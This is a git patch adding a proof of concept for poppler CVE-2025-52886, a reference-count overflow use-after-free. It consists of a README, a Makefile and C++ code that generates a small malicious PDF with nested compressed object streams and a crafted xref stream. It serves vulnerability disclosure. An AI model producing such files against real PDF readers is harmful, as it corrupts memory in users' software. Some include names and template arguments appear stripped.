From 7a9c6b07f4bcdabf5028aa454dabafb8d60268d0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 2 Jul 2025 12:09:47 +0100 Subject: [PATCH] PoC for poppler CVE-2025-52886 --- .../poppler-CVE-2025-52886/.gitignore | 1 + .../poppler-CVE-2025-52886/Makefile | 2 + .../poppler-CVE-2025-52886/README.md | 25 + .../poppler-CVE-2025-52886/pdfgen.cpp | 626 ++++++++++++++++++ .../poppler-CVE-2025-52886/utils.cpp | 147 ++++ .../poppler-CVE-2025-52886/utils.h | 74 +++ 6 files changed, 875 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore new file mode 100644 index 0000000..a8ff98c --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore @@ -0,0 +1 @@ +pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile new file mode 100644 index 0000000..989e543 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile @@ -0,0 +1,2 @@ +pdfgen: pdfgen.cpp utils.cpp utils.h + g++ -Wall -Wextra -g -O0 pdfgen.cpp utils.cpp -lz -o pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md new file mode 100644 index 0000000..0f480bb --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md @@ -0,0 +1,25 @@ +# Proof of concept for poppler CVE-2025-52886 + +CVE-2025-52886 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler), caused by a +reference count overflow. Reference counting was done with a 32-bit +counter, which meant it was feasible to overflow the counter. In my +testing, it took approximately 12 hours to overflow the counter +though, so the risk of exploitation was low. + +This directory contains the code for building the proof-of-concept. To +run it: + +```bash +make +./pdfgen > poc.pdf +``` + +Notice that the size of the generated PDF is only 3104 bytes. Now try +to either open the PDF or run a command line application like +`pdftohtml` on it. + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1581 +* https://securitylab.github.com/advisories/GHSL-2025-054_poppler/ diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp new file mode 100644 index 0000000..34514db --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp @@ -0,0 +1,626 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + Error() = delete; // No default constructor. + explicit Error(const char *msg) : msg_(msg) {} + explicit Error(std::string &&msg) : msg_(std::move(msg)) {} + + const char *what() const noexcept override { return msg_.c_str(); } +}; + +void write_hexdigit(WriteBuf &buf, const uint8_t x) { + if (x < 10) { + buf.write_uint8('0' + x); + } else if (x < 16) { + buf.write_uint8('A' + x - 10); + } else { + throw Error("Bad hex digit"); + } +} + +void write_octal_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_hex_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_stringobj(WriteBuf &buf, const std::string &str) { + buf.write_string("("); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('\\'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(")"); +} + +void write_nameobj(WriteBuf &buf, const std::string &str) { + buf.write_string("/"); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('#'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(" "); +} + +void write_intobj(WriteBuf &buf, int i) { + char str[32]; + snprintf(str, sizeof(str), "%d ", i); + buf.write_string(str); +} + +void write_numobj(WriteBuf &buf, double d) { + char str[64]; + snprintf(str, sizeof(str), "%f ", d); + buf.write_string(str); +} + +void write_command(WriteBuf &buf, const std::string &cmd) { + buf.write_string(cmd.c_str()); + buf.write_string("\n"); +} + +class PDF { +public: + PDF() {} + virtual ~PDF() {} + + virtual void write(WriteBuf &buf) const = 0; +}; + +typedef std::unique_ptr PDFptr; +typedef std::vector PDFvec; + +// Utility for reading the current file offset. +class PDF_ReadPreOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPreOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + f_(buf.offset()); + child_->write(buf); + } +}; + +// Utility for reading the current file offset. +class PDF_ReadPostOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPostOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + child_->write(buf); + f_(buf.offset()); + } +}; + +class PDF_Int : public PDF { + const int i_; + +public: + explicit PDF_Int(int i) : i_(i) {} + + static std::unique_ptr mk(int i) { + return std::make_unique(i); + } + + void write(WriteBuf &buf) const override { write_intobj(buf, i_); } +}; + +// Like PDF_Int, except with padded output so that the number of +// characters is always the same. This is useful for integer values +// that aren't known until the second pass. +class PDF_IntF : public PDF { + const int i_; + const int w_; + +public: + explicit PDF_IntF(int i, int w) : i_(i), w_(w) {} + + static std::unique_ptr mk(int i, int w = 10) { + return std::make_unique(i, w); + } + + void write(WriteBuf &buf) const override { + char str[32]; + assert(0 <= w_ && w_ < static_cast(sizeof(str))); + snprintf(str, sizeof(str), "%*d", w_, i_); + buf.write_bytes((const uint8_t *)str, w_); + buf.write_string("\n"); + } +}; + +class PDF_Num : public PDF { + const double d_; + +public: + explicit PDF_Num(double d) : d_(d) {} + + static std::unique_ptr mk(double d) { + return std::make_unique(d); + } + + void write(WriteBuf &buf) const override { write_numobj(buf, d_); } +}; + +class PDF_Ref : public PDF { + const int num_; + const int gen_; + +public: + PDF_Ref(int num, int gen) : num_(num), gen_(gen) {} + + static std::unique_ptr mk(int num, int gen) { + return std::make_unique(num, gen); + } + + void write(WriteBuf &buf) const override { + write_intobj(buf, num_); + write_intobj(buf, gen_); + buf.write_string("R "); + } +}; + +class PDF_Cmd : public PDF { + const std::string cmd_; + +public: + explicit PDF_Cmd(std::string &&cmd) : cmd_(std::move(cmd)) {} + + static std::unique_ptr mk(std::string &&cmd) { + return std::make_unique(std::move(cmd)); + } + + void write(WriteBuf &buf) const override { write_command(buf, cmd_); } +}; + +class PDF_Name : public PDF { + const std::string name_; + +public: + explicit PDF_Name(std::string &&name) : name_(std::move(name)) {} + + static std::unique_ptr mk(std::string &&name) { + return std::make_unique(std::move(name)); + } + + void write(WriteBuf &buf) const override { write_nameobj(buf, name_); } +}; + +class PDF_String : public PDF { + const std::string str_; + +public: + explicit PDF_String(std::string &&str) : str_(std::move(str)) {} + + static std::unique_ptr mk(std::string &&str) { + return std::make_unique(std::move(str)); + } + + void write(WriteBuf &buf) const override { write_stringobj(buf, str_); } +}; + +class PDF_Comment : public PDF { + const std::string comment_; + +public: + explicit PDF_Comment(std::string &&comment) : comment_(std::move(comment)) {} + + static std::unique_ptr mk(std::string &&comment) { + return std::make_unique(std::move(comment)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("%"); + buf.write_string(comment_.c_str()); + buf.write_string("\n"); + } +}; + +class PDF_Seq : public PDF { + const PDFvec seq_; + +public: + explicit PDF_Seq(std::vector> &&seq) + : seq_(std::move(seq)) {} + + static std::unique_ptr mk(PDFvec &&seq) { + return std::make_unique(std::move(seq)); + } + + void write(WriteBuf &buf) const override { + for (auto &x : seq_) { + x->write(buf); + } + } +}; + +class PDF_Array : public PDF { + const PDFvec array_; + +public: + explicit PDF_Array(std::vector> &&array) + : array_(std::move(array)) {} + + static std::unique_ptr mk(PDFvec &&array) { + return std::make_unique(std::move(array)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("[ "); + for (auto &x : array_) { + x->write(buf); + } + buf.write_string("] "); + } +}; + +// key-value pair for a dict. +struct PDF_KV { + std::string key_; + PDFptr value_; + + PDF_KV(std::string &&key, PDFptr &&value) + : key_(std::move(key)), value_(std::move(value)) {} +}; + +class PDF_Dict : public PDF { + const std::vector dict_; + +public: + explicit PDF_Dict(std::vector &&dict) : dict_(std::move(dict)) {} + + static std::unique_ptr mk(std::vector &&dict) { + return std::make_unique(std::move(dict)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("<< "); + for (auto &kv : dict_) { + write_nameobj(buf, kv.key_); + kv.value_->write(buf); + } + buf.write_string(">> "); + } +}; + +class PDF_Stream : public PDF { + const std::vector stream_; + +public: + explicit PDF_Stream(const std::string &str) + : stream_(str.begin(), str.end()) {} + + explicit PDF_Stream(std::vector &&stream) + : stream_(std::move(stream)) {} + + static std::unique_ptr mk(const std::string &str) { + return std::make_unique(str); + } + + static std::unique_ptr mk(std::vector &&stream) { + return std::make_unique(std::move(stream)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("stream\n"); + buf.write_bytes(stream_.data(), stream_.size()); + buf.write_string(" endstream\n"); + } +}; + +struct OffsetsTable { + size_t filesize_ = 0; + size_t startbody_ = 0; + size_t startxref_ = 0; + + size_t ref001_ = 0; + size_t ref002_ = 0; + size_t ref003_ = 0; + size_t ref004_ = 0; + size_t ref005_ = 0; + size_t ref006_ = 0; + + size_t stream000_start_ = 0; + size_t stream000_end_ = 0; +}; + +static const size_t XRefEntrySize = sizeof(uint32_t) + 2 * sizeof(uint64_t); + +static void writeXRefEntry(uint8_t *entry, uint32_t type, uint64_t offset, + uint64_t gen) { + *(uint32_t *)entry = htobe32(type); + entry += sizeof(type); + *(uint64_t *)entry = htobe64(offset); + entry += sizeof(offset); + *(uint64_t *)entry = htobe64(gen); +} + +static PDFptr mkAnnotOverflow(const OffsetsTable &offsets) { + const int first0 = 0; + const int len0 = 7; + const int first1 = static_cast(offsets.ref005_); + const int len1 = 1; + const int numEntries = len0 + len1; + const int streamsize = numEntries * XRefEntrySize; + std::vector stream(streamsize); + uint8_t *streamdata = stream.data(); + + writeXRefEntry(streamdata, 1, 0, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref001_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref002_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref003_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref004_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 2, offsets.ref005_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref006_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref005_, 0); + + return PDF_Seq::mk(_vec( + PDF_Int::mk(1337), PDF_Int::mk(133713), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Size"), PDF_Int::mk(1337)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Prev"), + PDF_Int::mk(-1)), // link to next XRef table + PDF_KV(std::string("Root"), PDF_Ref::mk(1, 0)), + PDF_KV(std::string("Index"), + PDF_Array::mk(_vec( + PDF_IntF::mk(first0, 4), PDF_IntF::mk(len0, 3), + PDF_IntF::mk(first1, 4), PDF_IntF::mk(len1, 3)))), + PDF_KV(std::string("W"), + PDF_Array::mk(_vec(PDF_Int::mk(4), PDF_Int::mk(8), + PDF_Int::mk(8)))))), + PDF_Stream::mk(std::move(stream)))); +} + +static PDFptr mkContents(OffsetsTable &offsets) { + const int streamsize = + static_cast(offsets.stream000_end_ - offsets.stream000_start_); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("Length"), PDF_IntF::mk(streamsize)))), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.stream000_start_ = offset; }, + PDF_Cmd::mk("stream")), + PDF_Name::mk("kevstatearg"), PDF_Cmd::mk("gs"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.stream000_end_ = offset; }, + PDF_Cmd::mk("endstream")))); +} + +static const int mkAnnotArray_first = 20; + +static std::vector mkAnnotArray_ObjectStream(size_t nElements, + size_t nLayers) { + std::vector txt(mkAnnotArray_first); + + PDFptr prologue = PDF_Seq::mk( + _vec(PDF_IntF::mk(5), PDF_Int::mk(mkAnnotArray_first))); + WriteBuf buf(txt.data(), mkAnnotArray_first); + prologue->write(buf); + while (buf.offset() < mkAnnotArray_first) { + buf.write_string(" "); + } + + char reftxt[6] = {'6', ' ', '0', ' ', 'R', ' '}; + + const size_t offset = txt.size(); + txt.resize(offset + nElements * sizeof(reftxt) + 2); + uint8_t *p = txt.data() + offset; + *p++ = '['; + for (size_t i = 0; i < nElements; i++) { + memcpy(p, reftxt, sizeof(reftxt)); + p += sizeof(reftxt); + } + *p++ = ']'; + + for (size_t i = 0; i < nLayers; i++) { + std::vector tmp; + compress(tmp, txt); + txt = std::move(tmp); + } + + return txt; +} + +static PDFptr mkAnnots() { + static const std::vector annots_txt( + mkAnnotArray_ObjectStream(0x1000000, 2)); + std::vector txt = annots_txt; + const int streamsize = static_cast(txt.size()); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("N"), PDF_IntF::mk(1)), + PDF_KV(std::string("First"), PDF_Int::mk(mkAnnotArray_first)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Filter"), + PDF_Array::mk(_vec(PDF_Name::mk("FlateDecode"), + PDF_Name::mk("FlateDecode")))))), + PDF_Stream::mk(std::move(txt)))); +} + +static PDFptr mkBody(OffsetsTable &offsets) { + const int numKids = 256; + std::vector kids; + for (size_t i = 0; i < numKids; i++) { + kids.push_back(PDF_Ref::mk(3, 0)); + } + return PDF_Seq::mk(_vec( + // root + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref001_ = offset; }, + PDF_Int::mk(1)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), PDF_Ref::mk(2, 0)), + PDF_KV(std::string("AcroForm"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Fields"), + PDF_Array::mk(_vec(PDF_Ref::mk(6, 0)))))) + + ), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // pages + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref002_ = offset; }, + PDF_Int::mk(2)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Count"), PDF_Int::mk(1))))), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(numKids)), + PDF_KV(std::string("Kids"), PDF_Array::mk(std::move(kids))), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // kid + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref003_ = offset; }, + PDF_Int::mk(3)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk( + _vec(PDF_KV(std::string("Type"), PDF_Name::mk("Page")), + PDF_KV(std::string("Contents"), PDF_Ref::mk(4, 0)), + PDF_KV(std::string("Annots"), PDF_Ref::mk(5, 0)), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(1)))), + // contents + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref004_ = offset; }, + PDF_Int::mk(4)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkContents(offsets), + // annots + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref005_ = offset; }, + PDF_IntF::mk(static_cast(offsets.ref005_))), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkAnnots(), + // widget + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref006_ = offset; }, + PDF_IntF::mk(6)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Subtype"), PDF_Name::mk("Widget")), + PDF_KV(std::string("DV"), PDF_String::mk("kevwozere001")), + PDF_KV(std::string("V"), PDF_String::mk("kevwozere002")), + PDF_KV(std::string("Ff"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("MaxLen"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("F"), PDF_Int::mk(2)), // Annot::flagHidden + PDF_KV(std::string("Rect"), + PDF_Array::mk(_vec(PDF_Int::mk(2), PDF_Int::mk(3), + PDF_Int::mk(4), PDF_Int::mk(5)))), + PDF_KV(std::string("FT"), PDF_Name::mk("Tx")))))); +} + +static PDFptr mkXRef(const OffsetsTable &offsets) { + return mkAnnotOverflow(offsets); +} + +static PDFptr mkPDF(OffsetsTable &offsets) { + return PDF_Seq::mk(_vec( + PDF_Comment::mk("PDF-1.7"), PDF_Int::mk(4), PDF_Int::mk(0), + PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Linearized"), PDF_Int::mk(-1)), + PDF_KV(std::string("L"), + PDF_IntF::mk(static_cast(offsets.filesize_))), + PDF_KV(std::string("T"), PDF_Int::mk(1000000)))), + PDF_Cmd::mk("endobj"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startbody_ = offset; }, + mkBody(offsets)), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startxref_ = offset; }, + mkXRef(offsets)), + PDF_Cmd::mk("startxref"), + PDF_IntF::mk(static_cast(offsets.startxref_)), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.filesize_ = offset; }, + PDF_Comment::mk("%EOF")))); +} + +int main() { + try { + std::vector rawbuf(0x10000); + + OffsetsTable offsets; + + WriteBuf buf(rawbuf.data(), rawbuf.size()); + + offsets.ref005_ = 100; + // Two passes. The first pass calculates the values of filesize and + // startxref. + PDFptr pdf = mkPDF(offsets); + pdf->write(buf); + + const size_t oldfilesize = buf.offset(); + buf.reset(); + + pdf = mkPDF(offsets); + pdf->write(buf); + if (oldfilesize != buf.offset()) { + throw Error("filesize changed on second pass"); + } + + buf.write_to_fd(STDOUT_FILENO); + + return EXIT_SUCCESS; + } catch (Error &e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp new file mode 100644 index 0000000..5de68bd --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp @@ -0,0 +1,147 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include + +// Write a uint8_t to starting address &buf[pos]. +size_t WriteBuf::write_uint8_at(size_t pos, uint8_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint8_t)); + buf_[pos++] = x; + return pos; +} + +// Write a uint16_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint16_at(size_t pos, uint16_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint16_t)); + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a uint32_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint32_at(size_t pos, uint32_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint32_t)); + buf_[pos++] = (x >> 24) & 0xFF; + buf_[pos++] = (x >> 16) & 0xFF; + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a block of bytes to starting address &buf_[pos]. +size_t WriteBuf::write_many_at(size_t pos, uint8_t x, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memset(&buf_[pos], x, n); + pos += n; + return pos; +} + +// Write a string to starting address &buf_[pos]. +size_t WriteBuf::write_bytes_at(size_t pos, const uint8_t *bytes, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memcpy(&buf_[pos], bytes, n); + pos += n; + return pos; +} + +// Write a uint8_t to starting address &buf[offset_]. +void WriteBuf::write_uint8(uint8_t x) { offset_ = write_uint8_at(offset_, x); } + +// Write a uint16_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint16(uint16_t x) { + offset_ = write_uint16_at(offset_, x); +} + +// Write a uint32_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint32(uint32_t x) { + offset_ = write_uint32_at(offset_, x); +} + +// Write a block of bytes to starting address &buf_[offset_]. +void WriteBuf::write_many(uint8_t x, size_t n) { + offset_ = write_many_at(offset_, x, n); +} + +// Write n bytes to starting address &buf_[offset_]. +void WriteBuf::write_bytes(const uint8_t *bytes, size_t n) { + offset_ = write_bytes_at(offset_, bytes, n); +} + +// Write a string to starting address &buf_[offset_]. +void WriteBuf::write_string(const char *str) { + write_bytes(reinterpret_cast(str), strlen(str)); +} + +size_t WriteBuf::offset() const { return offset_; } + +// Inserts an n-byte gap, so that the bytes can be written later. This is +// usually used for size or offset fields that need to be calculated +// later. +size_t WriteBuf::insert_gap(size_t n) { + const size_t pos = offset_; + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + offset_ = pos + n; + return pos; +} + +void WriteBuf::write_to_fd(int fd) { write(fd, buf_, offset_); } + +int compress(std::vector &output, std::vector &input) { + int ret; + z_stream strm; + + strm.zalloc = nullptr; + strm.zfree = nullptr; + strm.opaque = nullptr; + + ret = deflateInit(&strm, Z_BEST_COMPRESSION); + if (ret != Z_OK) + return ret; + + size_t input_pos = 0; + size_t output_pos = 0; + + strm.avail_in = input.size(); + strm.next_in = input.data(); + output.resize(0x10000); + + while (input_pos < input.size() || strm.avail_out == 0) { + assert(input_pos <= input.size()); + assert(output_pos <= output.size()); + if (output_pos == output.size()) { + output.resize(output.size() * 2); + } + + const size_t total_avail_in = input.size() - input_pos; + const size_t avail_in = std::min(0x10000, total_avail_in); + const int flush = avail_in < total_avail_in ? Z_NO_FLUSH : Z_FINISH; + strm.avail_in = avail_in; + strm.next_in = input.data() + input_pos; + strm.avail_out = output.size() - output_pos; + strm.next_out = output.data() + output_pos; + ret = deflate(&strm, flush); + assert(ret != Z_STREAM_ERROR); + output_pos = output.size() - strm.avail_out; + input_pos += avail_in - strm.avail_in; + } + assert(strm.avail_in == 0); + assert(ret == Z_STREAM_END); + output.resize(output.size() - strm.avail_out); + + (void)deflateEnd(&strm); + return Z_OK; +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h new file mode 100644 index 0000000..1e1b2a9 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h @@ -0,0 +1,74 @@ +#pragma once + +#include +#include +#include + +class WriteBuf { + uint8_t *buf_; + const size_t bufsize_; + size_t offset_ = 0; + +public: + WriteBuf(uint8_t *buf, size_t bufsize) : buf_(buf), bufsize_(bufsize) {} + + void reset() { offset_ = 0; } + + // Write a uint8_t to starting address &buf[pos]. + size_t write_uint8_at(size_t pos, uint8_t x); + + // Write a uint16_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint16_at(size_t pos, uint16_t x); + + // Write a uint32_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint32_at(size_t pos, uint32_t x); + + // Write a block of bytes to starting address &buf_[pos]. + size_t write_many_at(size_t pos, uint8_t x, size_t n); + + // Write a string to starting address &buf_[pos]. + size_t write_bytes_at(size_t pos, const uint8_t *bytes, size_t n); + + // Write a uint8_t to starting address &buf[offset_]. + void write_uint8(uint8_t x); + + // Write a uint16_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint16(uint16_t x); + + // Write a uint32_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint32(uint32_t x); + + // Write a block of bytes to starting address &buf_[offset_]. + void write_many(uint8_t x, size_t n); + + // Write n bytes to starting address &buf_[offset_]. + void write_bytes(const uint8_t *bytes, size_t n); + + // Write a string to starting address &buf_[offset_]. + void write_string(const char *str); + + size_t offset() const; + + // Inserts an n-byte gap, so that the bytes can be written later. This is + // usually used for size or offset fields that need to be calculated + // later. + size_t insert_gap(size_t n); + + void write_to_fd(int fd); +}; + +// Utility for constructing a std::vector. +template +std::vector::type> _vec(Ts &&...args) { + std::vector::type> result; + result.reserve(sizeof...(args)); + int bogus[] = {((void)result.emplace_back(std::forward(args)), 0)...}; + static_assert(sizeof(bogus) == sizeof(int) * sizeof...(args)); + return result; +} + +int compress(std::vector &output, std::vector &input);